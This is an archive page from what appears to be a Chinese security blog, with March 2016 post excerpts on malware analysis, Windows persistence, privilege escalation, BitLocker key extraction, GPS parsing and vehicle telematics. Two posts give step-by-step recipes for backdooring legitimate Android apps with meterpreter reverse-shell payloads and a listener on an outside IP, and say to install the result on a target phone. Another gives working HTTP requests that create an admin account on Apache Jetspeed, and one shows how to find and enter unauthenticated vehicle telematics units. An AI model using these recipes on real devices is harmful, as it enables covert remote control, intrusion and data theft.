博文

目前显示的是 三月, 2016的博文

AD

感染不联网的计算机/USB_Thief解析

图片
0x01概述Eset公司的安全研究人员发现了一种高度隐秘的恶意程序——USB Thief,因为该程序主要通过U盘传播。它能感染不联网的计算机,不留下任何入侵痕迹。USB Thief不依靠传统U盘病毒使用的自动运行(autorun)或其它操作系统漏洞进行传播,而是植入到一些常用的合法应用的便捷式版本中。例如Firefox、NotePad++和TrueCrypt等都有可以在U盘中运行使用的便携版本。当一个便携应用运行时,恶意程序就会在后台执行。 0x02详细解析 USB Thief会将自身绑定到目标主机驱动器上,对抗安全人员对其复制及分析。它使用USB设备的设备ID(device ID),进行多层次加密进行保护自身。加载器包括有一个文件名列表,并且每个USB Thief中的列表都是唯一的。其中一部分文件名是基于精确的文件内容和文件创建时间所计算得到。所以,如果将一个USB Thief移动到非预设的地方,则其不会执行。一旦USB设备从电脑拔出,任何人都不会发现数据以及被窃取。同样,它也很容易实现窃取数据外的其他功能。“USB Thief除了采取多级加密进行自我保护外,它使用的窃取数据的代码简洁又高效,尤其厉害的是,它不会在受害者电脑上留下任何痕迹。”  USB Thief现阶段主要针对非洲及拉丁美洲的国家地区。截至2016年3月24日,谷歌的Virus Total上还没有检测到它的样本。 Bridging the (air) gap(抵近目标/拉近距离)USB Thief和最近些年针对中东地区的政府及关键基础设施的攻击有所关联。以色列和美国在针对伊朗核计划时采用的“震网”(Stuxnet)也是利用了USB设备进行传播。每次感染设备,都会插入一个陷阱/存在缺陷的驱动,Stuxnet则会利用这些称之为“air gaps”的东西。USB Thief同样具有深入渗透到一个敏感网络的能力。Stuxnet有一个比较大的缺陷,就是无法持续控制被自我复制病毒感染的设备。此外Stuxnet很容易被安全人员进行剖析。和Stuxnet类型的一个恶意程序——Gauss中的一部分代码,以及解决该缺陷,其主要payload使用一种未公开的加密方式的key进行加密。Gauss会像Stuxnet一样,通过使用多个payload绑定至一个目标设备,保证不会对目标造成其他额外的损害。这种模式造就了一个谜…

通过DOSDevices实现持续性恶意代码注入

图片
0x01概述
通过滥用 'DOS Devices' 注册表键,实现一个持续化注入,该注入可以隐蔽地将 DLL注入任何一个用户态进程。
0x02DosDevices
首先说明一个不太常用出名的命令:subst。该命令可以创建一个虚拟驱动器,并且将虚拟驱动器映射到任意路径。某些资料表示该命令使用“DefineDosDevice”这个WinAPI来实现。



此外,根据wikipedia提到,可以通过注册表中的注册项,重启启动/使用上面创建的虚拟驱动器。

“通过创建/修改一个注册表键值,可以在系统启动时,给虚拟驱动器指派一个路径或驱动器标号。这个会由系统服务注册,并且重启后依然存在。

在“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices”下面创建一个新的字符型(string)键值,键值对值即为虚拟驱动器的路径。
0x03注册表
假如要给虚拟驱动器指定一个“T:”驱动器,

在该路径下,可以看到已经存在一些注册表键值。



这些键值都是一些安装时就存在的键值,用于向后兼容,或者保存一些符号链接(例如NULL)。使用winobj可以确认这些都是符号链接(symbolic links)。



在这些键值中,“AUX”和“PIPE”是和DosDevices相关的注册表键值。
其实我们的驱动器标号实际上就是一个符号链接,因此可以利用符号链接 ,下一步需要弄清楚符号链接指向的对象。


0x04smss.exe
根据文档可以获知 ,smss.exe负责符号链接的映射过程,smss在系统引导启动时执行这些工作,因为大多数的进程需要使用符号链接。

第一次尝试将“C:”驱动器的符号链接覆盖,结果是VM在启动时崩溃蓝屏。侧面证实了smss进行符号链接的映射工作是在启动阶段,但要利用程序,需要了解smss.exe的工作流程。

smss.exe是会话管理子系统(Session Manager SubSystem)的缩写。它用于全局用户初始化工作,例如初始化系统变量、加载csrss.exe,创建页面文件,分配MS-DOS驱动名称(LPT1、COM),调用Win32壳子系统等。它负责的两个功能特点是需要重点关注的:

通过符号链接,创建DOS设备的映射
映射关联“常用的DLL文件”。

“常用的DLL文件”是,为了提高DLL文件加载…

The LPE of Chromodo

0x01概述
Chromodo是comodo的内置浏览器,可以通过自动升级或者用户在Chromodo的“About Chromodo”选项进行手动升级。Chromodo在更新时安全措施不足,导致可以一些文件可以被劫持,从而让本地用户获取system权限。
0x02问题分析
Chromodo更新程序会将文件下载并保存至一个不安全的目录:C:\Users\<USER>\AppData\Local\Temp\NSX###.TMP,其中###为一个随机的数字,X是一个随机的字符。任意本地用户对这个目录均有写入权限。

       Chromodo更新是通过一个系统级的服务进行初始化和检查,该服务为:C:\Program Files (x86)\Comodo\Chromodo\chromodo_updater.exe,这个服务通过注册表实现在开机启动:HKLM\System\CurrentControlSet\Services\ChromodoUpdater。

更新程序首先确定是否存在一个可用的更新,如果存在可用的更新,则会下载并以chromodo_setup.exe的文件名保存至C:\Windows\Temp\ 目录下。然后更新程序使用系统级别的权限执行后续CMD命令安装Chromodo浏览器更新:“C:\Windows\temp\chromodo_setup.exe --silent”。然而,其他组件的更新及这个文件均指向“C:\Users\User\AppData\Local\Temp\nsX###.tmp”目录。

在Chromodo浏览器更新时,“Chromodo_Setup.exe”会创建nsX###.tmp目录,并且将文件从“\Windows\Temp\”提取至该文件夹。

在执行以上操作时,以下DLL文件会被提取至不安全的用户目录,导致可以被劫持进行攻击:

System.dll
DragonPlugin.dll
SecureDNSPlugin.dll
InstallHelperPlugin.dll
AccessControlW.dll
NsJSON.dll

0x03漏洞测试
一个本地低权限用户可以创建一个恶意程序,监视对“C:\Users\User\AppData\Local\Temp\”目录的任何操作。单Chromodo触发一个更新时,这个恶意程序会在合法的DLL文件被拷贝之前…

WIN7上获取BITLOCKER KEYS

0x01概述
如何从内存中检索获取全卷加密密钥(Full Volume Encryption Key (FVEK))。
0x02从WIN7获取FVEY
如何从一个运行有Bitlocker的设备上获取到对应的数据?

首先说明,这并不是一个漏洞,这是全盘加密系统的工作场景所导致的,例如apple的FileVault、Truecrypt均存在这样的问题。在内存中保存KEY,主要是出于性能的考虑。否者在访问数据之前会有很多额外的开销。

win7的Bitlocker使用AES CBC(级联分组密码),长度为128bit或者256bit。并且针对不同的用户,可以有以下四种模式:

AES 128-bit + Elephant Diffuser (Default)
AES 128-bit (without diffuser)
AES 256-bit + Elephant Diffuser
AES 256-bit (without diffuser)

FVEK,该key用于加密数据,并且每个扇区都是单独加密,FVEK会存储在影片的元数据内。FVEK这个key本身又会被VMK(Volume Master Key:卷主密钥)进行加密。VMK使用Bitlockers的加密器进行依次加密:可能是TPM(Trusted Platform Module:可信平台模块)、一个恢复密钥、证书,亦或者是其中的组合,也可能都不是。在这种情况下,如果Bitlocker被“暂挂/暂停”,用于加密VMK的key将不受到任何保护,是明文的。

通过资料查询可以获知:win7环境下,FVEK被保存在一个内存区域里面,并且使用内存标志“FVEc” (用于标识密码池的分配)进行标志。同样,用于Elephant Diffuser的TWEAK(调整)key也会被标记出来。

红色方框: Bitlocker mode (8001 = AES 256 with Diffuser)

Green: FVEK

TWEAK:未显示
0x03 验证
尝试实际测试:使用Volatility脚本获取FVEK。

AES 128-bit with Diffuser (Default mode)

AES 256-bit



在一个linux虚拟机内,使用libbde工具和找到的FVEK(可能需要TWEAK)挂载磁盘分区。

详细说明如下:

在启用Bitlocker的虚拟机磁盘内创建一个文件:

使…

手工制作恶意APK文件

测试准备条件
安装各类库文件
apt-get install lib32stdc++6 lib32ncurses5 lib32z1
安装APKTool
准备合法的APK应用


简要制作流程说明:

Meterpreter payload
反编译payload和合法APK文件
将payload文件插入APK文件
hook合法APK文件的activity方法
向AndroidManifest.xml注入代码,给paylaod赋予权限
重打包APK文件
给APK文件签名


STEP 1生成payload
msfvenom -p android/meterpreter/[Payload_Type] LHOST=[IP_Addr] LPORT=[In_Port] -o meterpreter.apk

Payload_Type有以下三种选项:

reverse_tcp
reverse_http
reverse_https

本文以reverse_https为例

IP_Addr 为目标反向连接的IP地址,In_Port为目标反向连接的端口。



完成后将会生成一个meterpreter.apk文件。
STEP 2 反编译APK文件
使用APKTOOL将APK文件反编译为.smali文件,

apktool d -f -o payload /root/meterpreter.apk



apktool d -f -o original /root/[Original_APK_Name]



恶意APK文件反编译结果在/root/payload目录,合法APK文件反编译结果在“/root/original”目录。


STEP 3注入payload
新建一个“/root/original/smali/com/metasploit/stage”目录,切换至“/root/payload/smali/com/metasploit/stage”目录,将payload APK文件(名字中包括payload字样)的.smali文件拷贝到新建的目录。
STEP 4 hook合法apk的.smali文件

找到APK文件初始化时调用的activity。

打开“/root/original”目录下的AndroidManifest.xml文件,查找一个包含以下信息的<activity>:

<action android:name="android.intent.a…

WIN10中的WIFI MAC地址随机化分析

图片
0x01 概述
微软在最新的win10上推出了新的安全举措——MAC在WIFI环境中的随机化处理。下面了解一下使用方法和原理。
0x02 开启方法
首先,必须WIFI网卡的驱动支持MAC地址随机化,以Intel 7265 AC为例。打开win10系统中的网络设置——管理WIFI网络设置



假如该网卡及驱动支持MAC地址随机化,则可以看到该选项:



选择ON选项即可。
0x03工作场景
该安全功能开启后,如果正常工作的话,windows将在搜索附近WIFI网络和连接WIFI网络时,无线网卡使用随机的MAC地址。同比而言,APPLE仅仅在搜索附近的WIFI时使用随机的MAC地址,APPLE在连接WIFI网络时,使用的依然是真实MAC地址。

使用一个随机的MAC地址会引发一个问题,假如用户已经使用 这些/自己的/随机的 MAC地址通过了认证。为了避忙这种情况,win10在连接一个特定的WIFI网络时,总是使用同一个随机地址。

例如:连接至一个付费的WIFI网络,该网络会将你的MAC地址作为认证中的一个要素。当开启MAC地址随机化后,WIN10将会在你第一次连接的时候使用一个随机化的MAC地址。假如你在未来一段时间内重新连接该网络,WIN10会使用向前相同的MAC地址进行连接。这样能保证你不需要重新连接至该付费WIFI,导致多次付费。但是这个措施有一个缺点:虽然比以前使用你的真实MAC连接WIFI网络,随机化的MAC地址提升了一些隐私安全。当经常使用该地址连接至特定网络时,攻击者可以获知到联入该特定网络上的该设备。
0x04 原理分析
连接至某一个WIFI网络,使用的随机化MAC地址,是使用如下公式生成的:

MAC(R)=SHA254(SSID,MAC,CONNid,SECRET)

SSID即无线网卡连接至的无线网络名称,MAC地址为设备真实的MAC地址,CONNid是一个值,该值会在用户每次添加/移除网络时发生改变,SECRET是一个256bit的密码随机数,不同的网卡会有不同的SECRET值,以确保不同的网卡会生成不同的随机MAC地址。

最终,bits in the most significant byte of address are set so it becomes a locally administered, unicast address.
0x05其他场景
win10可以对某一个/特定的…

GPS数据解析

0x01 概述
GPS模块的输出遵循固定的格式,通过字符串检索查找即可从模块发送的数据中找出需要的数据,常用的GPS模块大多采用NMEA-0183 协议。NMEA-0183 是美国国家海洋电子协会(National Marine Electronics Association)所指定的标准规格,这一标准制订所有航海电子仪器间的通讯标准,其中包含传输资料的格式以及传输资料的通讯协议。

本文将对GPS模块输出的三种常见数据格式进行解析。
0x02 GPS数据示例数据
$GPGGA,082006.000,3852.9276,N,11527.4283,E,1,08,1.0,20.6,M,,,,0000*35

$GPRMC,082006.000,A,3852.9276,N,11527.4283,E,0.00,0.0,261009,,*38

$GPVTG,0.0,T,,M,0.00,N,0.0,K*50
0x03 GPGGA解析
首先对GPGGA中的数据的含义进行解析。

$GPGGA,GPGGA就是GPS 固定数据输出语句,这是一帧GPS 定位的主要数据,也是使用最广的数据。为了便于理解,下面举例说明$GPGGA语句各部分的含义。

例:$GPGGA,082006.000,3852.9276,N,11527.4283,E,1,08,1.0,20.6,M,,,,0000*35

其标准格式为:

$GPGGA,(1),(2),(3),(4),(5),(6),(7),(8),(9),M,(10),M,(11),(12)*hh(CR)(LF)

各部分所对应的含义为:

(1) 定位UTC 时间:08 时20 分06 秒

(2) 纬度(格式ddmm.mmmm:即dd 度,mm.mmmm 分);

(3) N/S(北纬或南纬):北纬38 度52.9276 分;

(4) 经度(格式dddmm.mmmm:即ddd 度,mm.mmmm 分);

(5) E/W(东经或西经):东经115 度27.4283 分;

(6) 质量因子(0=没有定位,1=实时GPS,2=差分GPS):1=实时GPS;

(7) 可使用的卫星数(0~8):可使用的卫星数=08;

(8) 水平精度因子(1.0~99.9);水平精度因子=1.0;

(9) 天线高程(海平面,-9999.9~99999.9,单位:m);天线高程=20.6m);

(10) 大地椭球面相对海平面的高度(-…

通过TGU远程监控/控制汽车

这次介绍一下如何通过TGU远程监控卡车、公共汽车以及联网的面包车。
远程通信统一网关,Telematics Gateway Unit,简称为TGU,采用3g/4g/gprs/lte/edge/HDSPA等通信模式连接至互联网。很多TGU配置有互联网IP地址,并且有对应的WEB管理面板或者TELNET管理接口。
以“c4max”的TGU为例,c4max 开放23端口,有‘gps’ 或者 ‘welcome on console’ 的banner。可以使用“port:23 gps "on console"” 的keyworld在shodan上进行搜索。

搜索完毕后,尝试直接telent该设备,c4max默认情况下,telnet没有进行认证,直接即可接入到TGU内部,如下:

详细命令请参考:http://www.neweagle.net/ProductDocumentation/Telematics/C4MAX_datasheet.pdf
completion 进入高级模式:

查看GPS轨迹信息:

GPRMC Frame value is
$GPRMC,081923.94,A,4119.8170,N,00207.2946,E,0.000,189.974,100316,0,W,A*35

GPGGA Frame value is
$GPGGA,081923.94,4119.8170,N,00207.2946,E,1,10,0.799,39.019,M,48.289,M,0,0*54

android后面APK文件制作

测试准备条件
安装各类库文件
apt-get install lib32stdc++6 lib32ncurses5 lib32z1
安装APKTool
1.      准备合法的APK应用


2.      准备ruby脚本
https://gist.github.com/SkullTech/a62d106b55562cc1ab88脚本与APK文件放入同一个目录

3.      执行命令
ruby apk-embed-payload.rb 0ne.apk -p android/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=8899
其中8.8.8.88899是要反弹回来连接的公网IP及端口

4.      疑难解决
如果在step3执行过程中,脚本文件运行提示要bindAPK的某一个Activity上,切换到文件目录/root/original。
编辑器打开AndroidManifest.xml文件,寻找一个<activity> 同时包含 ‘.MAIN’ 和‘.LAUNCHER’的tag。找到后,寻找‘android:name’属性。
返回脚本提示窗口,根据查找到的Activity,输入对应的bind 号码。
如果以上步骤没有其他错误,将会在根目录生成一个“backdoored_0ne.apk”的文件。将该文件安装至目标手机即可。


5.      设置本地multi/handler监听
msfconsole
use multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 8.8.8.8
set LPORT 8899
exploit

ApacheJetspeed

CVE-2016-0710 不安全的User Manager REST API

创建一个用户
POST /jetspeed/services/usermanager/users/?_type=json HTTP/1.1
Host: 192.168.2.5:8080
[…]
Content-Length: 130
Connection: close
name=t0mcat&password=password&password_confirm=password&user_name_given=TOM&user_name_family=cat&user_email=T0MCAT.COM&newrule=
会回应500错误,但用户会在后台创建成功。

将t0mcat加入到admin管理组
POST /jetspeed/services/usermanager/users/t0mcat/?_type=json HTTP/1.1
Host: 192.168.2.5:8080
[…]
Content-Length: 123
Connection: close
name=&password=&password_confirm=&user_name_given=&user_name_family=&user_email=&user_enabled=&roles=admin&rule=
将会回应返回“true”,并且创建成功;